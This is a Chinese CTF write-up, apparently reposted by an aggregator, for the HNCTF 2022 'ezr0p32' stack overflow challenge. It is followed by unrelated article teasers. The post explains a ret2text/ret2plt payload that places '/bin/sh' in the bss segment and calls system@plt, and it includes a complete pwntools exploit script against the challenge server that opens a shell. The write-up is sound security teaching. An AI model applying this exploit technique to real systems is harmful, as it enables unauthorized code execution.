【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32

news2024/11/25 10:03:19

目录

前言

一、题目

二、解题过程

payload的构造 

三、exp 

总结


前言

一直在做libc的中规中矩的题目,遇到一题有点老的类型的题目有些陌生。但其实其中原理比较简单,但是涉及到/bin/sh获取的常规操作,而自己也没整理过,于是特此发篇笔记


一、题目

读入了超过buf长度的数据,存在栈溢出漏洞;调用了system,可以通过plt调用到该函数

然而需要注意两个buf的差别!! 

双击第一个buf

是bss段的全局变量

双击第二个buf

是本函数的局部变量,也就是可以溢出的部分。

——第一个bss可以填充/bin/sh,第二个用于system函数调用


二、解题过程

  1. 在第一个输入处输入"/bin/sh"
  2. 构造合适的payload在第二个输入处输入

payload的构造 

payload=垃圾数据(+填充ebp)+目标跳转地址+...+参数 

我们要调用system,这个可以填写system的plt的地址即可,然而32位参数放在栈上,需要我们构造,需要注意的是,参数不应直接跟在函数(目标函数地址)后面,而应该空开一个字,这是因为调用函数时,参数和ebp被同时压入栈中,而空开的字就是ebp的位置——简单来说,调用函数后,callee会将栈上的内容识别为ebp+参数,获取参数会越过ebp获取。所以我们要空开一个字


三、exp 

from pwn import *
from pwn import p32

# io=process("./ezr0p")
io=remote("node1.anna.nssctf.cn",28086)
elf=ELF("./ezr0p")

context(arch="i386",os='linux',log_level='debug')

io.recvuntil(b'name')
io.sendline(b'/bin/sh')
bss_addr=0x804a080

payload=b'a'*(0x1c+4)
payload+=p32(elf.plt['system'])
payload+=b'aaaa'
payload+=p32(bss_addr)

io.sendlineafter(b'time~',payload)

io.interactive()

总结

比较简单,也比较老套,所以更应该记住

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/630237.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Git->分支

⭐作者介绍:大二本科网络工程专业在读,持续学习Java,努力输出优质文章 ⭐作者主页:逐梦苍穹 ⭐所属专栏:Git ⭐如果觉得文章写的不错,欢迎点个关注一键三连😉有写的不好的地方也欢迎指正&#x…

springboot+vue体育馆场地器材管理系统的设计与实现

体育馆管理系统有管理员和用户两个角色。用户功能有场地信息,员工信息,器材信息,留言反馈,个人中心。管理员功能有个人中心,用户管理,场地信息管理,场地类型管理,员工信息管理&#…

Redis - 缓存雪崩,缓存穿透,缓存击穿

Redis是一个完全开源的,遵守BSD协议的,高性能的key-value的数据存储结构系统,它支持数据持久化,可以将内存中的数据保存在磁盘中。不仅支持简单的key-value类型的数据结构,同事还提供list,zset,…

ChatGPT+小红书的8种高级玩法

掌握了这套万能命令,让你快速做出小红书爆款文案! 一、用ChatGPT做定位 我是一个大龄的普通人,没有什么特殊的技能,接下来,请你作为一位小红书的账号定位专家,通过与我对话的方式,为我找到我的小红书账号定…

Hive | 报错锦集

知识目录 一、写在前面✨二、Hive启动hiveserver2报错🔥三、HiveServer2启动方式✨四、Hive执行SQL语句报一大堆日志🍉五、Hive使用Load加载数据报错🍭六、Hive执行含Count的SQL语句报错🍉七、Hive执行SQL语句报/bin/java&#x1…

golang 读取csv文件到excel--推荐使用【不同实现方式】

需求:把下面的csv文件,自动写入到excel模版中, 1.自动按照csv的行数,以日期时间名问sheet名成写入到excel表的sheet名称中 2.自动复制excel的第一个sheet的所有内容,同时用csv文件的内容填充特定区域内容 xy1.csv文…

动态组件:类组件

函数组件的缺点: 第1次渲染组件,把函数执行,产生一个私有的上下文: EC(V),把解析出来的props「含children」 传递进来「但是被冻结了」,对函数返回的JSX元素「virtualDOMJ进行渲染。当我们点击按钮的时候,…

信道容量详解

本专栏包含信息论与编码的核心知识,按知识点组织,可作为教学或学习的参考。markdown版本已归档至【Github仓库:https://github.com/timerring/information-theory 】或者公众号【AIShareLab】回复 信息论 获取。 文章目录 信道容量信道容量的…

Django--创建项目与app的初步认识

目前我是想学习Django来搭建一个网站,记录一下我学初学的过程与遇到的问题。 我直接使用pycharm来创建一个Django项目,就不用在终端输入命令行的方式创建虚拟环境。 在终端输入,python manage.py runserver,点击连接web页面进行测…

为什么说python里面函数参数的默认值最好不要使用可变类型

之前发布过Python中函数的介绍:Python中函数的介绍 ,今天来做一个小小的补充说明:为什么说python里面函数参数的默认值最好不要使用可变类型 Python中,函数参数的默认值是在函数定义时计算的,而不是在每次函数调用时计…

机器人与外星人的对话:中国传统哲学的精髓是什么?

一天,机器人Robot和外星人Vick相遇,他俩聊了很多,主要是关于中国传统哲学的,下面是他俩的对话记录。 R:很多人表示他们很痛苦,禅师说那是因为“无明”,外星人,你怎么看? …

【P58】JMeter 简单数据写入器(Simple Data Writer)

文章目录 一、简单数据写入器(Simple Data Writer)参数说明二、准备工作三、测试计划设计 一、简单数据写入器(Simple Data Writer)参数说明 可以将原始数据直接保存到文件 使用场景:一般与 HTML 报告配合使用 使用…

【Python文本处理】基于运动路线记录GPX的文件解析,及对经纬度坐标的数学模型运动速度求解

【Python文本处理】基于运动路线记录GPX的文件解析,及对经纬度坐标的数学模型运动速度求解 解析 GPX文件格式 GPX文件本身其实就是坐标、海拔、时间、心率等综合性的xml文件 如图: 海拔:ele 时间:time 心率:heartr…

【用pytorch进行LSTM模型的学习】

用pytorch进行LSTM模型的学习 LSTM模型用pytorch,采用LSTM对seaborn数据集做预测基本步骤数据的观察特殊数据处理数据归一化模型的构建与选择模型的保存 飞机航班流量预测示例 LSTM模型 LSTM模型长下面这样,主要用在时间序列的预测,具有比RN…

5Why分析法

5Why分析法 由丰田公司的大野耐一提出的对一个问题点连续以5个“为什么”来自问,以追究其根本原因的分析方法。 模型介绍 所谓5Why分析法,又称“5问法”,也就是对一个问题点连续以5个“为什么”来提问,以追究其根本原因。虽为5个…

代码随想录第53天

1.最长公共子序列: 红字的问题都是和最长重复子数组那题的代码进行比较的出来的 动规五部曲分析如下: 确定dp数组(dp table)以及下标的含义 dp[i][j]:长度为[0, i - 1]的字符串text1与长度为[0, j - 1]的字符串tex…

solidity之智能拍卖案例

文章目录 实现一个简易的拍卖状态变量定义和初始化竞拍功能结束竞拍代码 实现一个简易的拍卖 角色分析:4类角色(拍卖师actioneer,委托人seller,竞买人bidder,买受人buyer) 功能分析:拍卖的基本…

Shell脚本攻略:Linux防火墙(一)

目录 一、理论 1.安全技术 2.防火墙 3.通信五元素和四元素 4.总结 二、实验 1.iptables基本操作 2.扩展匹配 3. 自定义链接 一、理论 1.安全技术 (1)安全技术 ①入侵检测系统(Intrusion Detection Systems)&#xff1…

汽车电子AUTOSAR之BswM模块

目录 前言 正文 总体设计框架 模式仲裁过程 模式控制过程 模式仲裁 模式请求来源(ModeRequestPorts) 模式条件(ModeCondition) 逻辑表达式(LogicExpressions) 模式规则(ModeRules) 模式规则的初始化 模式控制 模式控制基本流程 模式行为 常用函数接口 前言 首先&…

Dependency not found解决方案(Springboot,绝对有效)

目录 问题描述解决方案systemPathmvn install 问题描述 今天在弄一个项目的依赖的时候,easyexcel 的依赖就是下载不了,虽然我的 Maven 配置没问题。 依赖:    Maven 配置:    我切换了几个版本,也无法从镜像下…